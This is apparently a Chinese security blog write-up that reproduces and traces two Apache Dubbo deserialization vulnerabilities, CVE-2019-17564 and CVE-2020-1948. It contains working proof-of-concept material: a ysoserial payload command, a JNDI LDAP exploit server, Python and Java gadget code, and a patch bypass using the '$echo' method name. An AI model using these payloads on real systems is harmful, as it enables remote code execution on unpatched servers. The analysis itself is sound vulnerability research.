Apache Dubbo支持多种协议,官方推荐使用 Dubbo 协议,CVE-2019-17564是属于Apache Dubbo HTTP协议中的一个反序列化漏洞,当Apache Dubbo启用HTTP协议之后,Apache Dubbo在接受来自消费者的远程调用请求的时候存在一个不安全的反序列化。
CVE-2020-1948是当Dubbo服务端暴露时(默认端口:20880),攻击者可以发送任意的服务名或方法名的RPC请求,同时附加恶意的序列化参数,服务端在解析参数进行反序列化时触发。
Apache Dubbo Apache Dubbo 是一款高性能、轻量级的开源Java RPC框架,它提供了三大核心能力:面向接口的远程方法调用,智能容错和负载均衡,以及服务自动注册和发现。
使用Dubbo的最常见方法是在Spring框架中运行
IDEA中创建一个maven空项目,作为项目父工程,然后右键父工程目录依次创建三个Module provider,consumer和api,项目结构如下
父工程的pom文件中应该会自动设置modules
1 2 3 4 5 <modules > <module > provider</module > <module > consumer</module > <module > api</module > </modules >
子工程中则会设置parent
1 2 3 4 5 <parent > <artifactId > DubboDemo</artifactId > <groupId > org.example</groupId > <version > 1.0-SNAPSHOT</version > </parent >
父工程pom中加入Spring及Dubbo依赖,Dubbo中包含Spring,为避免冲突需要排除
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 <dependencies > <dependency > <groupId > org.springframework</groupId > <artifactId > spring-core</artifactId > <version > 4.3.7.RELEASE</version > </dependency > <dependency > <groupId > org.springframework</groupId > <artifactId > spring-beans</artifactId > <version > 4.3.7.RELEASE</version > </dependency > <dependency > <groupId > org.springframework</groupId > <artifactId > spring-context</artifactId > <version > 4.3.7.RELEASE</version > </dependency > <dependency > <groupId > org.apache.dubbo</groupId > <artifactId > dubbo</artifactId > <version > 2.7.3</version > <exclusions > <exclusion > <groupId > org.springframework</groupId > <artifactId > spring</artifactId > </exclusion > </exclusions > </dependency > <dependency > <groupId > org.apache.curator</groupId > <artifactId > curator-framework</artifactId > <version > 4.0.1</version > </dependency > <dependency > <groupId > org.apache.curator</groupId > <artifactId > curator-recipes</artifactId > <version > 2.8.0</version > </dependency > <dependency > <groupId > org.slf4j</groupId > <artifactId > slf4j-simple</artifactId > <version > 1.7.25</version > </dependency > </dependencies >
在api子工程中定义接口
1 2 3 public interface DemoService { String sayHello (String name) ; }
在provider子工程中实现接口
1 2 3 4 5 public class DemoServiceImpl implements DemoService { public String sayHello (String name) { return "Hello " + name; } }
(provider子工程中的pom文件需要将api子工程设为依赖才能使用其中的类)
1 2 3 4 5 6 <dependency > <groupId > org.example</groupId > <artifactId > api</artifactId > <version > 1.0-SNAPSHOT</version > <scope > compile</scope > </dependency >
然后在resources目录创建provider.xml,其中注释了multicast registry center,使用zookeeper作为Registry,协议dubbo:protocol
是用的dubbo协议,下文CVE-2019-17564中的漏洞条件是需要使用http协议的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <beans xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dubbo="http://code.alibabatech.com/schema/dubbo" xmlns="http://www.springframework.org/schema/beans" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-4.3.xsd http://code.alibabatech.com/schema/dubbo http://code.alibabatech.com/schema/dubbo/dubbo.xsd" > <!-- provider's application name, used for tracing dependency relationship --> <dubbo:application name="demo-provider"/> <!-- use multicast registry center to export service --> <!--<dubbo:registry address="multicast://224.5.6.7:1234"/>--> <!-- 使用zookeeper注册中心暴露服务地址 --> <dubbo:registry address="zookeeper://127.0.0.1:2181" /> <!-- use dubbo protocol to export service on port 20880 --> <dubbo:protocol name="dubbo" port="20880"/> <!-- service implementation, as same as regular local bean --> <bean id="demoService" class="DemoServiceImpl"/> <!-- declare the service interface to be exported --> <dubbo:service interface="DemoService" ref="demoService"/> </beans>
创建Provider类
1 2 3 4 5 6 7 8 9 10 11 12 import org.springframework.context.support.ClassPathXmlApplicationContext;import java.io.IOException;public class Provider { public static void main (String[] args) throws IOException { ClassPathXmlApplicationContext context = new ClassPathXmlApplicationContext (new String []{"classpath:provider.xml" }); context.start(); System.out.println("Provider started." ); System.in.read(); } }
consumer子工程中创建Consumer类,同样pom文件中需要设置api子工程为依赖才能使用其中的类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import org.springframework.context.support.ClassPathXmlApplicationContext;public class Consumer { public static void main (String[] args) throws Exception { ClassPathXmlApplicationContext context = new ClassPathXmlApplicationContext (new String [] {"classpath:consumer.xml" }); context.start(); DemoService demoService = (DemoService)context.getBean("demoService" ); String hello = demoService.sayHello("world" ); System.out.println(hello); } }
在resources创建consumer.xml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?xml version="1.0" encoding="UTF-8" ?> <beans xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xmlns:dubbo ="http://code.alibabatech.com/schema/dubbo" xmlns ="http://www.springframework.org/schema/beans" xsi:schemaLocation ="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-4.3.xsd http://code.alibabatech.com/schema/dubbo http://code.alibabatech.com/schema/dubbo/dubbo.xsd" > <dubbo:application name ="demo-consumer" /> <dubbo:registry address ="zookeeper://127.0.0.1:2181" /> <dubbo:reference id ="demoService" check ="false" interface ="DemoService" /> </beans >
Zookeeper可作为Dubbo的Registry,Dubbo服务的provider和consumer都需要在Zookeeper进行注册,下载Zookeeper并解压,将conf目录下的zoo_sample.cfg改名为 zoo.cfg,bin目录下运行zkServer启动Zookeeper,zoo_sample.cfg默认服务端口2181
依次运行provider和consumer,输出Hello world即完成了一次RPC
CVE-2019-17564 This vulnerability can affect users using Dubbo-Rpc-Http (2.7.3 or lower) and Spring-Web (5.1.9.RELEASE or lower).
Notice that this vulnerability only affects users who enable http protocol provided by Dubbo:<dubbo:protocol name="http"/>
影响版本
Dubbo 2.7.0 to 2.7.4
Dubbo 2.6.0 to 2.6.7
Dubbo all 2.5.x versions
漏洞复现 https://github.com/apache/dubbo-samples/tree/master/java/dubbo-samples-http
pom中设置Dubbo的版本为漏洞版本2.7.3并放入反序列化的Gadget
1 2 3 4 5 <dependency > <groupId > org.apache.commons</groupId > <artifactId > commons-collections4</artifactId > <version > 4.0</version > </dependency >
启动HttpProvider一直报错我就修改了http-provider.xml中配置的端口
1 <dubbo:protocol name ="http" id ="http" port ="80" server ="${servlet.container:tomcat}" />
然后启动依次启动zookeeper,HttpProvider
向 /org.apache.dubbo.samples.http.api.DemoService
POST ysoserial生成的POC
1 java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2 "open /System/Applications/Calculator.app" > /tmp/payload.ser
漏洞分析 由报错信息,入口点在HttpServlet.service
在javax.servlet.http.HttpServlet#service(javax.servlet.ServletRequest, javax.servlet.ServletResponse)
下断点进行跟踪
进入到org.apache.dubbo.remoting.http.servlet.DispatcherServlet#service
如果handler对象不等于null,就调用handle方法处理
查看handle方法Implementation
Dubbo支持这几种协议来进行数据的传输交互,而本次处理HTTP协议的进入到org.apache.dubbo.rpc.protocol.http.HttpProtocol
org.apache.dubbo.rpc.protocol.http.HttpProtocol.InternalHandler#handle
跟进skeleton.handleRequest
之后调用的是 spring 的 HttpInvoker
Spring HttpInvoker是一个新的远程调用模型,作为Spring框架的一部分,执行基于HTTP的远程调用(意味着可以通过防火墙),并使用Java的序列化机制在网络间传递对象。
官方文档 也提示可能存在Java反序列化漏洞
最后反序列化点在org.springframework.remoting.rmi.RemoteInvocationSerializingExporter#doReadRemoteInvocation
漏洞修复 跟踪Dubbo 2.7.7的代码,到org.apache.dubbo.rpc.protocol.http.HttpProtocol.InternalHandler#handle
skeleton是一个JsonRpcServer对象,然后进入skeleton.handle
skeleton.handle
当中没办法处理我们传输Java序列化字节流,因此就会抛出异常,也就是说这里的org.apache.dubbo.rpc.protocol.http.HttpProtocol
后续处理不是通过Spring HttpInvoker了,而是通过 JsonRpc
CVE-2020-1948 影响版本
Apache Dubbo 2.7.0 ~ 2.7.6
Apache Dubbo 2.6.0 ~ 2.6.7
Apache Dubbo 2.5.x 所有版本 (官方不再提供支持)
漏洞复现 以文首创建的Dubbo项目为例,在provider中添加rome作为JNDI注入的gadget,这里使用marshalsec中的rome gadget是因为Dubbo协议默认采用Hessian作为反序列化方式,在Hessian中,ysoserial提供的gadget无法使用,具体可见Java Unmarshalling Security - 攻击Hessian协议
1 2 3 4 5 <dependency > <groupId > com.rometools</groupId > <artifactId > rome</artifactId > <version > 1.7.0</version > </dependency >
用JNDI-Injection-Exploit 起一个服务端
1 java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open /System/Applications/Calculator.app" -A 127.0.0.1
运行以下POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 from dubbo.codec.hessian2 import Decoder,new_objectfrom dubbo.client import DubboClientclient = DubboClient('127.0.0.1' , 20880 ) JdbcRowSetImpl=new_object( 'com.sun.rowset.JdbcRowSetImpl' , dataSource="ldap://127.0.0.1:1389/svtwih" , strMatchColumns=["foo" ] ) JdbcRowSetImplClass=new_object( 'java.lang.Class' , name="com.sun.rowset.JdbcRowSetImpl" , ) toStringBean=new_object( 'com.rometools.rome.feed.impl.ToStringBean' , beanClass=JdbcRowSetImplClass, obj=JdbcRowSetImpl ) resp = client.send_request_and_return_response( service_name='cn.rui0' , method_name='rce' , args=[toStringBean]) print (resp)
如果JNDI服务端正常收到请求但是并未成功执行命令注意下JDK版本:在JDK 6u132, JDK 7u122, JDK 8u113 中限制了Naming/Directory服务中JNDI Reference远程加载Object Factory类的特性,系统属性 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false,即默认不允许从远程的Codebase加载Reference工厂类。除了RMI服务之外,JNDI还可以对接LDAP服务,LDAP也能返回JNDI Reference对象,利用过程与上面RMI Reference基本一致,不过在JDK 11.0.1、8u191、7u201、6u211之后 com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false
以上POC也可借助marshalsec生成
在consumer中添加marshalsec-0.0.3-SNAPSHOT-all.jar,代码更改为以下,其中RPC远程调用的方法并不需要服务端真实存在
1 2 3 public interface DemoService { String anything (Object name) ; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public class Consumer { public static void main (String[] args) throws Exception { ClassPathXmlApplicationContext context = new ClassPathXmlApplicationContext (new String [] {"classpath:consumer.xml" }); context.start(); DemoService demoService = (DemoService)context.getBean("demoService" ); String hello = demoService.anything(getPayload()); System.out.println(hello); } private static Object getPayload () throws Exception { String jndiUrl = "ldap://127.0.0.1:1389/svtwih" ; ToStringBean item = new ToStringBean (JdbcRowSetImpl.class, JDKUtil.makeJNDIRowSet(jndiUrl)); EqualsBean root = new EqualsBean (ToStringBean.class,item); return JDKUtil.makeMap(root,root); } }
漏洞分析 调试前最好关闭Enable 'toString()' object view
,否则漏洞会提前自动触发
一开始参考网上前辈的文章,却发现自己debug跟踪代码执行的流程不太一样,后来发现是因为参考文章中给接口添加了一个参数为Object类型的方法,并在provider实现后,使用comsumer携带恶意参数去远程调用这个真实存在的方法
漏洞原作者的POC,使用的是任意不存在的service和method,导致Dubbo找不到注册的service而抛出异常,在抛出异常的时候触发漏洞
所以有两种触发方法
在刚传入序列化值时依赖Rome的toString方法通过构造HashMap触发key的hashCode实现反序列化
反序列化执行完成后,利用RemotingException抛出异常输出时隐式调用了Rome的toString方法导致RCE
未找到service而抛出异常的位置在org.apache.dubbo.rpc.protocol.dubbo.DubboProtocol#getInvoker
其中inv是DecodeableRpcInvocation的实例对象,在这里会默认调用其toString方法,具体实现在其父类RpcInvocation,下一个断点跳过去
可见其中的argements就是ToStringBean的实例,跟入Arrays.toString(arguments)
最终是到了ToStringBean的toString方法
在ToStringBean实现的toString方法中,会遍历传入对象的所有方法(Method对象),并且通过java实现的invoke方法动态调用传入对象的所有Method对象,当此处for循环执行到JdbcRowSetImpl类中getDatabaseMetData函数时候,会调用函数内connect方法,导致执行JdbcRowSetImpl的执行链,导致代码执行
补丁绕过 在2.7.7版本,org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation#decode(org.apache.dubbo.remoting.Channel, java.io.InputStream)
中增加了一个判断,限制了RPC的方法名,不是指定方法的话会抛出异常
但方法名我们可控,在脚本中修改方法名为$invoke
,$invokeAsync
,$echo
其中任意一个即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 from dubbo.codec.hessian2 import Decoder,new_objectfrom dubbo.client import DubboClientclient = DubboClient('127.0.0.1' , 20880 ) JdbcRowSetImpl=new_object( 'com.sun.rowset.JdbcRowSetImpl' , dataSource="ldap://127.0.0.1:1389/fkeuiv" , strMatchColumns=["foo" ] ) JdbcRowSetImplClass=new_object( 'java.lang.Class' , name="com.sun.rowset.JdbcRowSetImpl" , ) toStringBean=new_object( 'com.rometools.rome.feed.impl.ToStringBean' , beanClass=JdbcRowSetImplClass, obj=JdbcRowSetImpl ) resp = client.send_request_and_return_response( service_name='cn.rui0' , method_name='$echo' , args=[toStringBean]) print (resp)
漏洞修复 参考Dubbo 漏洞 CVE-2020-1948 复现+简单修复
参考 http://dubbo.apache.org/zh-cn/docs/user/quick-start.html
Apache Dubbo反序列化漏洞(CVE-2019-17564)
[CVE-2019-17564] Apache Dubbo deserialization vulnerability
[CVE-2020-1948] Apache Dubbo Provider default deserialization cause RCE
Java Unmarshalling Security - 攻击Hessian协议
Java Hessian反序列化漏洞
Hessian 反序列化及相关利用链
CVE-2020-1948 Apache Dubbo Hessian 反序列化漏洞分析
Dubbo 漏洞 CVE-2020-1948 分析
Dubbo 漏洞 CVE-2020-1948 复现+简单修复